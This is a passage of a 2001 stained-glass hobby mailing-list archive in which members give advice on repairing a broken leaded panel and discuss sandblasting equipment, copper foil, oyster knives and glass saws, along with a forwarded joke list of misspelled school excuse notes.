could vacuum where it was sitting.  Duh!  The window was open and it
only took a tiny little gust.  I only cried for a little while.   

I think tonights a good night to request to be taken out for a really
nice dinner! ;o)

Suzanne

Dina and Don Hess wrote:
> 
> Well, it finally happened: my biggest, most ambitious project to date is
> broken.  I need all of the advice on repair that I can get (and all of
> the advice I can get on how not to scream at my husband, who I otherwise
> adore but who I had asked to hang this panel in a safe place for
> literally *months* now.  He thought it looked great propped in the
> bottom half of the big window at the bottom of our stairs.  And it did
> -- but we have a 3 year old.  Dozens of requests to hang it up in the
> window I had chosen fell on deaf ears, since she was always 'careful.'
> Fast forward to a ball thrown down the steps into the center of the
> panel 15 minutes ago.)
> 
> Anyway.... repair advice appreciated.
> 
> Dina
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From owner-glass Fri Feb 16 19:36:01 2001
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: "Dina and Don Hess" <ddhess@bellsouth.net>,
Content-Type: text/plain;
Subject: RE: Panel repair advice
Date: Fri, 16 Feb 2001 22:05:48 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
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i have a repair section in my tips section
http://www.geocities.com/Paris/1141/ it's for foiled projects.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: Dina and Don Hess [mailto:ddhess@bellsouth.net]
> Sent: Friday, February 16, 2001 7:40 PM
> To: glass@bungi.com
> Subject: Panel repair advice
>
>
> Well, it finally happened: my biggest, most ambitious project to date is
> broken.  I need all of the advice on repair that I can get (and all of
> the advice I can get on how not to scream at my husband, who I otherwise
> adore but who I had asked to hang this panel in a safe place for
> literally *months* now.  He thought it looked great propped in the
> bottom half of the big window at the bottom of our stairs.  And it did
> -- but we have a 3 year old.  Dozens of requests to hang it up in the
> window I had chosen fell on deaf ears, since she was always 'careful.'
> Fast forward to a ball thrown down the steps into the center of the
> panel 15 minutes ago.)
>
> Anyway.... repair advice appreciated.
>
> Dina
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

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From owner-glass Fri Feb 16 19:36:25 2001
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X-Path: ilnk.com!andor
From: "Linda Jo Letscher" <andor@ilnk.com>
To: "Bungi" <glass@bungi.com>
Subject: Dena
Date: Fri, 16 Feb 2001 22:19:09 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I am sorry to hear about your "event" really sorry.

I guess I would start over.  Rather than try to do a repair job on it.

And some advice, learn how to hang your own windows.  Then they will get
done.

Chin up, everyone who has ever done glass had had a catastrophe.  Press on
and know you are not alone.

I was moving a large panel a couple years ago, and just knocked it off the
back of the table I had been working on.  I heard the clink clink clink
clink.... and then the brain kicked in and the sound was...........
"oh my God!!!  Breaking glass!!!"  I saved some of the glass, but not some
special fused glass that had been made special for part of the panel.  I
cried for about 24hours and then started over.  Lucky for me, this was just
ready to foil....

Condolences...
Linda Jo


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From owner-glass Sat Feb 17 06:04:33 2001
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X-Path: bellsouth.net!ddhess
From: Dina and Don Hess <ddhess@bellsouth.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: Panel repair advice
Date: Sat, 17 Feb 2001 07:29:39 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Thanks for all of the inquiries and 'it's happened to me too' mails,
everyone.  (Yes, I did manage to avoid screaming at my husband.... even
though the stained glass incident was immediately followed by the
discovery that he also taped bad sci-fi that he doesn't even plan to
watch over my favorite program, which I had planned to watch as soon as
I got our daughter in bed.  Minor in the great scheme of things, but
cumulatively, what an evening!)  In any case -- sorry I was too upset
when I first mailed to include all of the essential details!

The panel is lead, about 2 feet by 1 1/2 feet square, and it's a celtic
knot design, with intertwined dragons.  It's framed in border lead
surrounded by a wooden frame for extra strength (thank goodness, or I'm
sure more would have broken.) One of the broken pieces is rectangular,
but the other 5 broken ones are all curved parts of the knotwork.  I'm
nearly certain I can match the glass for the 5 curved parts, but the
glass for the rectangular piece was the last piece available when I
bought it, and I haven't seen any new batches that really came close to
matching it.  The broken pieces are in several different areas of the
piece; the greatest damage was done by the fall to the floor rather than
the impact of the ball.

I really don't even know where to start with repair, so all of the
advice I'm getting is really, really appreciated!

Dina

Dina and Don Hess wrote:
> 
> Well, it finally happened: my biggest, most ambitious project to date is
> broken.  I need all of the advice on repair that I can get (and all of
> the advice I can get on how not to scream at my husband, who I otherwise
> adore but who I had asked to hang this panel in a safe place for
> literally *months* now.  He thought it looked great propped in the
> bottom half of the big window at the bottom of our stairs.  And it did
> -- but we have a 3 year old.  Dozens of requests to hang it up in the
> window I had chosen fell on deaf ears, since she was always 'careful.'
> Fast forward to a ball thrown down the steps into the center of the
> panel 15 minutes ago.)
> 
> Anyway.... repair advice appreciated.
> 
> Dina
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
----
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From owner-glass Sat Feb 17 07:19:44 2001
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X-Path: mail2.nai.net!shad
From: Family Account <shad@mail2.nai.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Broken window
Date: Sat, 17 Feb 2001 09:56:02 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

We can all empathise with broken panels.  Although my kids are grown, I
now have a dog and grandchildren.  Sometimes, when I babysit, I have to
remove suncatchers from the front window.

Here's a sad story.  I have a friend who makes ships in bottles.  His
work is museum quality - quite extraordinary.  He carves and creats each
tiny piece and constructs inside the bottle.  He even has to have the
bottles specially blown for him nowadays.  He had a ship on exhibit in a
museum and it was vandalized!

His name is Ralph Preston and his web page is at:
http://natosongs.com/hit_the_bottle.html

Imagine repairing one of these things!

(Other people carry around family pictures.  I remember in the late
60's, every time I saw him, he'd have new photos of the Viking Ship!)

Dorothy

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From owner-glass Sat Feb 17 17:06:20 2001
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X-Path: home.com!cecnralph
From: Cecily & Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Hope springs eternal...
Date: Sat, 17 Feb 2001 19:45:45 -0500
Message-ID: <1970Jan1.000.0>
Organization: Grendel Studio
Precedence: bulk

Or how can I get a sandblasting set-up without spending serious money.

I know...20 gallon tank and 60-80 lbs air pressure.

But if I only use it occasionally can't something smaller do?  Cummins
Professional Tools is having a two day truck sale, and are advertising
an upright 10 gallon tank with 40 lbs pressure.  It is labeled as a
professional sand-blasting kit.  $99 - now that's in my price range.

So...would it do?  Thanks - Cec

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Sun Feb 18 08:36:08 2001
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Cecily & Ralph Wood <cecnralph@home.com>
Subject: Re: Hope springs eternal...
Date: Sun, 18 Feb 2001 14:28:08 +0000
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

The crucial element is how much air it can deliver per minute, not just
the pressure.
I think you need in the region of 5 cubic feet of air per minute, but
others will put you right on that.
Steve

In message <1970Jan1.000.0@?>, Cecily & Ralph Wood <cecnralph@home.com>
writes
>Or how can I get a sandblasting set-up without spending serious money.
>
>I know...20 gallon tank and 60-80 lbs air pressure.
>
>But if I only use it occasionally can't something smaller do?  Cummins
>Professional Tools is having a two day truck sale, and are advertising
>an upright 10 gallon tank with 40 lbs pressure.  It is labeled as a
>professional sand-blasting kit.  $99 - now that's in my price range.
>
>So...would it do?  Thanks - Cec
>
>--
>*********************************************************************
>*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
>*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
>*********************************************************************
>
>
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass

-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Sun Feb 18 10:36:51 2001
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From: Lorley Oneyear <lorley@home.com>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: new foil
Date: Sun, 18 Feb 2001 11:17:40 -0700
Message-ID: <5.0.0.25.2.20010218111414.009ecad0@mail.rdc1.az.home.com>
Precedence: bulk

I just opened a newly purchased package of black backed foil. It has a very 
smooth silky feel to it and this new foil seems thicker. Any one else 
notice this? If so, is it really thicker or just stronger material? Thanks, 
Lorley

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From owner-glass Sun Feb 18 13:07:20 2001
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This is a multi-part message in MIME format.

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Please put us on the list

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From owner-glass Sun Feb 18 14:37:23 2001
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From: "Jowell L. Peden, Jrl" <jpe747@airmail.net>
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Due to the latest virus attack I wish to cancel my subscription.  I will
resubmit for subscription in a different mail box.

Thank you
Jowell

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From owner-glass Sun Feb 18 16:37:19 2001
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From: Lorley Oneyear <lorley@home.com> (by way of Barbara <bjs10@cornell.edu>)
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: new foil
Date: Sun, 18 Feb 2001 17:29:55 -0500
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Precedence: bulk

Hello...
	Perhaps you purchased a slightly thicker foil then what you are acustomed
to.  Foil is available in a few different thicknesses, this may be the answer.

Barbara S.

I just opened a newly purchased package of black backed foil. It has a very 
smooth silky feel to it and this new foil seems thicker. Any one else 
notice this? If so, is it really thicker or just stronger material? Thanks, 
Lorley

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From owner-glass Sun Feb 18 21:37:36 2001
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X-Path: fastlane.net!byronw
From: "Byron Wells" <byronw@fastlane.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Hope springs eternal...
Date: Sun, 18 Feb 2001 23:24:22 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
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You can probably get by with it by adding a couple 7 gal tanks (about $20
each at walmart) to  increase your air volume. You may also be able to find
a used tank at a compressor repair place.You may have to wait at times to
let the compressor catch up but if your just doing occasional blasting it
should work..If you use a pressure blaster it will use less pressure and
volume of air than a siphon blaster and will blast deeper quicker... You can
get a 40 lb blaster from Harbor Freight for about $99.. They work pretty
good...I use one in a small blast box for small items.Bought a Glastar setup
for my blast room...

Byron...
Wells Glassworks

 In message <1970Jan1.000.0@?>, Cecily & Ralph Wood <cecnralph@home.com>
> writes
> >Or how can I get a sandblasting set-up without spending serious money.
> >
> >I know...20 gallon tank and 60-80 lbs air pressure.
> >
> >But if I only use it occasionally can't something smaller do?  Cummins
> >Professional Tools is having a two day truck sale, and are advertising
> >an upright 10 gallon tank with 40 lbs pressure.  It is labeled as a
> >professional sand-blasting kit.  $99 - now that's in my price range.
> >
> >So...would it do?  Thanks - Cec
> >
> >--
> >*********************************************************************
> >*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> >*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> >*********************************************************************
> >
> >
> >----
> >For subscription changes, please mail to: glass-request@bungi.com
> >To send to the list,      please mail to: glass@bungi.com
> >Archives available at http://www.bungi.com/glass
>
> --
> Steve Richard
> Verrier Art Glass Ltd
> s.richard@verrier-scotland.demon.co.uk
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>
>

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From owner-glass Mon Feb 19 00:35:51 2001
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Dina and Don Hess <ddhess@bellsouth.net>
Subject: Re: Panel repair advice
Date: Sun, 18 Feb 2001 20:11:45 +0000
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

Dina,
        I haven't seen but a few replies relating to your predicament.
As this list is one from which we all can learn a lot, a summary of the
advice you receive would be very useful.  (Also it would be helpful is
people would remember that just hitting reply does not send the message
to the whole list anymore - select reply to all before sending, please!)

        Now you will know more about the kind of cuts that are not
robust (the pieces breaking from the fall).  This may aid you in the
design of further pieces that you want last for a long time.
        I did send a relatively long message about glass repairs in lead
calme earlier this month or late last (but of course did not keep a
copy).  I would suggest a try of the archives, but they are huge.  So,
any one who kept a copy of what I did would do Dina (and ME) a kindness
in sending her a copy of it.

        I would add that, in this case where there is extensive
breakage, and the perimeter is also broken, you can cut through the
solder joint on both sides of the panel by pushing and wiggling your
lead knife through the joint.  Hold the knife parallel to the glass, do
not push down on top of the glass (I know it is broken already, but you
don't want any of the glass to come up into your hand).   Using this
process you can tear the whole panel down to its constituent parts if
you want.

Let me know if there is more information needed.

Steve


In message <1970Jan1.000.0@?>, Dina and Don Hess <ddhess@bellsouth.net>
writes
>Thanks for all of the inquiries and 'it's happened to me too' mails,
>everyone.  (Yes, I did manage to avoid screaming at my husband.... even
>though the stained glass incident was immediately followed by the
>discovery that he also taped bad sci-fi that he doesn't even plan to
>watch over my favorite program, which I had planned to watch as soon as
>I got our daughter in bed.  Minor in the great scheme of things, but
>cumulatively, what an evening!)  In any case -- sorry I was too upset
>when I first mailed to include all of the essential details!
>
>The panel is lead, about 2 feet by 1 1/2 feet square, and it's a celtic
>knot design, with intertwined dragons.  It's framed in border lead
>surrounded by a wooden frame for extra strength (thank goodness, or I'm
>sure more would have broken.) One of the broken pieces is rectangular,
>but the other 5 broken ones are all curved parts of the knotwork.  I'm
>nearly certain I can match the glass for the 5 curved parts, but the
>glass for the rectangular piece was the last piece available when I
>bought it, and I haven't seen any new batches that really came close to
>matching it.  The broken pieces are in several different areas of the
>piece; the greatest damage was done by the fall to the floor rather than
>the impact of the ball.
>
>I really don't even know where to start with repair, so all of the
>advice I'm getting is really, really appreciated!
>
>Dina
>
>Dina and Don Hess wrote:
>> 
>> Well, it finally happened: my biggest, most ambitious project to date is
>> broken.  I need all of the advice on repair that I can get (and all of
>> the advice I can get on how not to scream at my husband, who I otherwise
>> adore but who I had asked to hang this panel in a safe place for
>> literally *months* now.  He thought it looked great propped in the
>> bottom half of the big window at the bottom of our stairs.  And it did
>> -- but we have a 3 year old.  Dozens of requests to hang it up in the
>> window I had chosen fell on deaf ears, since she was always 'careful.'
>> Fast forward to a ball thrown down the steps into the center of the
>> panel 15 minutes ago.)
>> 
>> Anyway.... repair advice appreciated.
>> 
>> Dina
>> ----
>> For subscription changes, please mail to: glass-request@bungi.com
>> To send to the list,      please mail to: glass@bungi.com
>> Archives available at http://www.bungi.com/glass
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass

-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
----
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From owner-glass Mon Feb 19 06:43:18 2001
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X-Path: compuserve.com!Ensembles
From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Panel repair advice
Date: Mon, 19 Feb 2001 09:08:16 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Message text written by Dina and Don Hess
>The panel is lead, about 2 feet by 1 1/2 feet square, and it's a celtic
knot design, with intertwined dragons.  It's framed in border lead
surrounded by a wooden frame for extra strength (thank goodness, or I'm
sure more would have broken.) One of the broken pieces is rectangular,
but the other 5 broken ones are all curved parts of the knotwork.  I'm
nearly certain I can match the glass for the 5 curved parts, but the
glass for the rectangular piece was the last piece available when I
bought it, and I haven't seen any new batches that really came close to
matching it.  The broken pieces are in several different areas of the
piece; the greatest damage was done by the fall to the floor rather than
the impact of the ball.<

Do you have the original pattern?  If so, at least you can cut out
replacement pieces without having to make the pattern.
If you do not have the original pattern, you will need to recreate the
pattern for the broken pieces.  This can easily be done
by getting a sheet of plain paper and making a pencil or crayola rubbing =
on
top of each broken piece.  This will give you an
outline of each piece.  When you cut out the paper pattern, cut it right =
in
the middle of the lead lines.  This will give you a piece
that is a tad too large, but then you can grind it into perfect shape as
you go about the repair.

As to matching the glass for the rectangular piece....maybe that was the
last glass available at your particular retailer's location,
but I'm sure other retailers and catalog stained glass sellers will be ab=
le
to get you a replacement piece.  What type glass was
it?  It's important that you can exactly identify it by manufacturer and
manufacturer's #, such as Spectrum #100Artique or
Wissmach #56D.  Ask your retailer if they can get you a special order.

Christie A. Wood
North Wales, PA USA
----
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From owner-glass Mon Feb 19 06:48:12 2001
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Panel repair advice
Date: Mon, 19 Feb 2001 09:08:13 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Message text written by Steve Richard
>        I would add that, in this case where there is extensive
breakage, and the perimeter is also broken, you can cut through the
solder joint on both sides of the panel by pushing and wiggling your
lead knife through the joint.  Hold the knife parallel to the glass, do
not push down on top of the glass (I know it is broken already, but you
don't want any of the glass to come up into your hand).   Using this
process you can tear the whole panel down to its constituent parts if
you want.<

This is also a good place to use your dremel.  There is an attachment whi=
ch
is a thin metal cutting attachement, which is great
for cutting through the solder joints.  Be sure to wear eye protection an=
d
a dust mask when doing this.  Run the knife under the
glass to cut through the putty.  Use the knife to gently lift up the lead=

came flanges so that you can get the broken glass out and
the replacement glass in.  Be sure to thourally clean out old putty befor=
e
you try fitting the new glass into the area.
Then use your fid or knife to gently press down the lead came flanges bac=
k
into place, and resolder the joints.

Christie A. Wood
North Wales, PA USA
----
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From owner-glass Mon Feb 19 08:22:36 2001
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X-Path: home.com!cecnralph
From: Cecily & Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Oyster knives
Date: Mon, 19 Feb 2001 10:32:03 -0500
Message-ID: <1970Jan1.000.0>
Organization: Grendel Studio
Precedence: bulk

I know from observing Elisabeth during her classes here in the US, that
her oyster knife indeed turns up at the tip, and the wooden handle is a
bit bulbous.  What passes for an oyster knife here, readily available in
the stores, is a much shorter and more broad blade, in a squat
triangular shape and an ordinagy handle - and I live in the land of the
famed Chincoteage (shink-uh-teeg) oysters (ershters).  Hard looking
found something similar to Elisabeth's, with a bulbous wooden handle,
longer shaft, but without the curve.  Maybe we need to know from whom we
can import the UK version of this knife?

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Mon Feb 19 09:29:54 2001
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From: Cecily & Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Oyster knives
Date: Mon, 19 Feb 2001 10:32:03 -0500
Message-ID: <1970Jan1.000.0>
Organization: Grendel Studio
Precedence: bulk

I know from observing Elisabeth during her classes here in the US, that
her oyster knife indeed turns up at the tip, and the wooden handle is a
bit bulbous.  What passes for an oyster knife here, readily available in
the stores, is a much shorter and more broad blade, in a squat
triangular shape and an ordinagy handle - and I live in the land of the
famed Chincoteage (shink-uh-teeg) oysters (ershters).  Hard looking
found something similar to Elisabeth's, with a bulbous wooden handle,
longer shaft, but without the curve.  Maybe we need to know from whom we
can import the UK version of this knife?

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


----
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From owner-glass Mon Feb 19 09:50:52 2001
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From: Cecily & Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: Leaded panel repairs (was: Lead window NIGHTMARE
Date: Mon, 19 Feb 2001 10:23:12 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: Grendel Studio
Precedence: bulk

I think this is the message Steve was referring to about repairs. - Cec, the
pack rat

Steve Richard wrote:

> Sarah,
>         This is the time when the oyster knife is really useful.  It is
> a strong blade that is turned up just about 3/8 inch before the end.
> You use this or you can (with more difficulty) use a straight blade to
> remove the cement (which should be easy, as it will not yet be hard).
> You then work from the side that will be the inside when installed to
> gently and progressively lift the leaf of the lead all around the piece
> of glass.
>         At the solder joints you can either use your lead knife to cut
> into them, or use the soldering iron to melt the solder and keep it from
> reforming, by placing the lead knife between the pieces of lead.  These
> can then be opened up too, until all the lead leaf over the broken glass
> is standing vertical.
>         All this work needs to be done parallel to the surface of the
> glass, to avoid breaking other pieces of glass.  You also must be sure
> to keep you hands behind the blade.  Cut, push, lift, etc. away from
> your limbs and body.  To secure the panel, nail a wood batten on the
> bench so the panel is pushed against it. (Make sure the batten is really
> well secured!)
>         Now you should be able to lift/push the broken piece out.  As
> you will still have the cartoon from which you made this (don't you),
> you will be able to cut another piece just as before.  It may need to be
> very slightly smaller to fit back in.
>         Then you gently fold the lead leaf back down.  do it
> progressively, a little at a time all along the leaf, so you don't kink
> it.  If done carefully in both lifting and folding down, it will be
> difficult to see the lead has been disturbed.  Cement as usual and you
> are finished.
>
> Steve
>
> In message <1970Jan1.000.0@?>, S Kunneke <skunneke@legacyhotels.co.za>
> writes
> ..
> ....cut.....
> > only to find that my 16mnth son had placed =
> >his toy car on the table and as I placed the panel on it, it broke one =
> >of the pieces in the middle.  HOW DO I FIX IT????!!!! It has been =
> >cemented and everything.
> --
> Steve Richard
> Verrier Art Glass Ltd
> s.richard@verrier-scotland.demon.co.uk
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


----
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From owner-glass Mon Feb 19 11:42:07 2001
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From: "Peggy W. Johnsen" <edupjohn@slonet.org>
To: Janene Kalb <jakalb@altavista.com>
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: Re: Band Saw or Ring Saw?
Date: Mon, 19 Feb 2001 10:30:37 -0800 (PST)
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Janene:  Everyone has an opinion about their glass saw.  My personal
favorite is the Tarus II ring saw.  It cuts great in all directions and
the only downside I have found is the need to periodically replace the
gromets that guide the blade.  Surely you have some idea after trying both
of them which you had rather have.  If it truely makes no difference
consider which is more convenient, which you have space for, and which one
fits your budget the best.  Peggy

----
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From owner-glass Mon Feb 19 11:56:32 2001
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From: "Peggy W. Johnsen" <edupjohn@slonet.org>
To: Maureen & David Humphreys <searun@sprintmail.com>
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: Re: Support for 20 inch circle?
Date: Mon, 19 Feb 2001 10:26:07 -0800 (PST)
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Hi Maureen:  You asked about using lead came to "frame your 20 inch
circle.  I assume you are working in copper foil or lead came around your
project would not really be an issue...you just would.

Lead came around the border like zinc will, over time, stretch.  Thus, you
would automatically be in for repair work in about a year.  I can't answer
for brass since I seldom use it but it would require a came bender to get
a circle.  I guess that leaves the wooden oak frame as the best choice.
You may be able to find the 20 inch circle at thrift stores or garage
sales since it is a fairly common size.  Keep in mind that you have made a
work of art...why spare the frame that is going to enhance the overall
apapearance?  Just my thinking.  Peggy

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From owner-glass Mon Feb 19 17:57:59 2001
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X-Path: home.com!lorley
From: Lorley Oneyear <lorley@home.com>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: new foil
Date: Mon, 19 Feb 2001 17:47:59 -0700
Message-ID: <5.0.0.25.2.20010219174422.00a2b500@mail.rdc1.az.home.com>
Precedence: bulk

Thanks for all of your thoughts ref the foil. The foil I purchased was 
exactly the same as my previous package. I bought Venture Tape 7/32nd in X 
36 yds Black Back Copper foil. Both packages are 1.25 mil thick. They are 
identical but sure don't feel identical. The main difference is the smooth 
silky feel of the shiny side and the seemingly just a bit of extra 
thickness. Lorley

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From owner-glass Mon Feb 19 20:33:31 2001
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From: Lorley Oneyear <lorley@home.com>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: new foil
Date: Mon, 19 Feb 2001 17:47:59 -0700
Message-ID: <5.0.0.25.2.20010219174422.00a2b500@mail.rdc1.az.home.com>
Precedence: bulk

Thanks for all of your thoughts ref the foil. The foil I purchased was 
exactly the same as my previous package. I bought Venture Tape 7/32nd in X 
36 yds Black Back Copper foil. Both packages are 1.25 mil thick. They are 
identical but sure don't feel identical. The main difference is the smooth 
silky feel of the shiny side and the seemingly just a bit of extra 
thickness. Lorley

----
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From owner-glass Tue Feb 20 09:08:19 2001
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From: ARTIZ01@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: glue chip bevels
Date: Tue, 20 Feb 2001 11:07:53 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hello,
I am looking for glue chip full house bevels 4" x 12.5 and half house bevels 
in glue chip as well in  4" x 6 1/2.
I need these sizes as I have to build 3 large windows to match my customer's 
door lites.   
Thanks in advance for your help.

Bob
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From owner-glass Tue Feb 20 10:38:42 2001
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Date: Tue, 20 Feb 2001 11:12:38 EST
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In a message dated 2/20/01 12:13:29 AM Pacific Standard Time, Aglamrat writes:

<< 
 >>


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Return-path: <Aglamrat@aol.com>
From: Aglamrat@aol.com
Full-name: Aglamrat
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Date: Tue, 20 Feb 2001 03:13:29 EST
Subject: Fwd: (no subject)
To: Abpavlo@aol.com, JABPAV@aol.com, Bungy58@aol.com, JFLOCK@NCweb.com,
	Sevykat@aol.com, MIssTHanG005007@carolina.rr.com, Ireland125@aol.com,
	Booklag@aol.com, GlamRKat@aol.com, ARTIZ01@aol.com, MsPav1@aol.com,
	Sleepy609@aol.com, staceysangels@webtv.net, PTFERCHAU@aol.com,
	LuRayfarms@aol.com, SUPERORTH@aol.com, Supmarsav@aol.com,
	LLHALLJR@aol.com, LPawcio@aol.com, Pastryt@aol.com,
	mandnspear@onecom.com, terrell@onecom.com, Skimom7@aol.com,
	Casinocar1@aol.com, bvathall@orwell.net
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Return-path: <Aglamrat@aol.com>
From: Aglamrat@aol.com
Full-name: Aglamrat
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Date: Tue, 20 Feb 2001 03:12:11 EST
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The following are some classic written excuses given to teachers in 

the Alburquerque public school system:



"Dear School: Please excuse John from being absent on Jan. 28, 29, 

30, 31, 32, and also 33."



"Please excuse Dianne from being absent yeaterday. She was in bed 

with gramps."



"Please excuse Johnnie for being. It was his father's fault."



"Chris will not be in school because he has an acre in his side."



"John has been absent because he had two teeth taken off his face."



"Excuse Gloria. She has been under the doctor."



"Lillie was absent from school yesterday because she had a going 

over."



"My son is under the doctor's care and should not take fizical ed. 

Please execute him."



"Carlos was absent yesterday because he was playing football. He was 

hit in the growing part."



"My daughter was absent yesterday because she was tired. She spent 

this weekend with the Marines."



"Please excuse Joyce from P.E. for a few days. Yesterday she fell off 

a tree and misplaced her hip."



"Please excuse Ray Friday from school. He has very loose vowels."



"Maryann was absent Dec. 11-16, because she had a fever, sore throat, 

headache, and upset stomach. Her sister was also sick, fever and sore 

throat, her brother had a low-grade fever. There must be the flu 

going around, her father even got hot last night."



"Please excuse Blanche from jim today. She is administrating."



"George was absent yesterday because he had a stomach."



"Ralph was absent yesterday because he had a sore trout."



"Please excuse Sara for being absent. She was sick and I had her 

shot."



"Please excuse Lupe. She is having problems with her ovals."



"Please excuse Pedro from being absent yesterday. He had Diah 

(*crossed out*), diahoah (*crossed out*), dyah (*crossed out*), the 

shits."


--part2_fd.2958790.27c38129_boundary--

--part1_fd.2958790.27c3f176_boundary--
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From owner-glass Tue Feb 20 10:56:42 2001
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X-Path: arrakis.es!kiram
From: "Kira Mason" <kiram@arrakis.es>
To: "bungi" <glass@bungi.com>
Subject: RV: Oyster knives
Date: Tue, 20 Feb 2001 15:47:51 +0100
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I have an oyster knife that I bought in Madrid with a plastic handle and no
curve on the end.
What do you use it for?
Kira
-----Mensaje original-----
De: Cecily & Ralph Wood <cecnralph@home.com>
Para: Bungi Glass <glass@bungi.com>
Fecha: lunes 19 de febrero de 2001 18:28
Asunto: Oyster knives


>I know from observing Elisabeth during her classes here in the US, that
>her oyster knife indeed turns up at the tip, and the wooden handle is a
>bit bulbous.  What passes for an oyster knife here, readily available in
>the stores, is a much shorter and more broad blade, in a squat
>triangular shape and an ordinagy handle - and I live in the land of the
>famed Chincoteage (shink-uh-teeg) oysters (ershters).  Hard looking
>found something similar to Elisabeth's, with a bulbous wooden handle,
>longer shaft, but without the curve.  Maybe we need to know from whom we
>can import the UK version of this knife?
>
>--
>*********************************************************************
>*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
>*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
>*********************************************************************
>
>
>----
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From owner-glass Tue Feb 20 13:33:38 2001
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X-Path: netzero.net!heesunstainedglassltd
From: "heesunstainedglassltd" <heesunstainedglassltd@netzero.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Maryland Invitation 
Date: Tue, 20 Feb 2001 15:07:48 -0500
Message-ID: <1970Jan1.000.0>
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Sorry if this is a repost but I didn't see it come through ...

Just wanted to invite anyone in the area to our 3rd anniversary party /
customer appreciation day this coming weekend Feb 24th and 25th.  We will be
having crate sales Sat Feb 25th at PM and PM and on Sun Feb 25th at PM.
Hours for the event will be 12 - 6 or later on Saturday and 12 - 4 or later
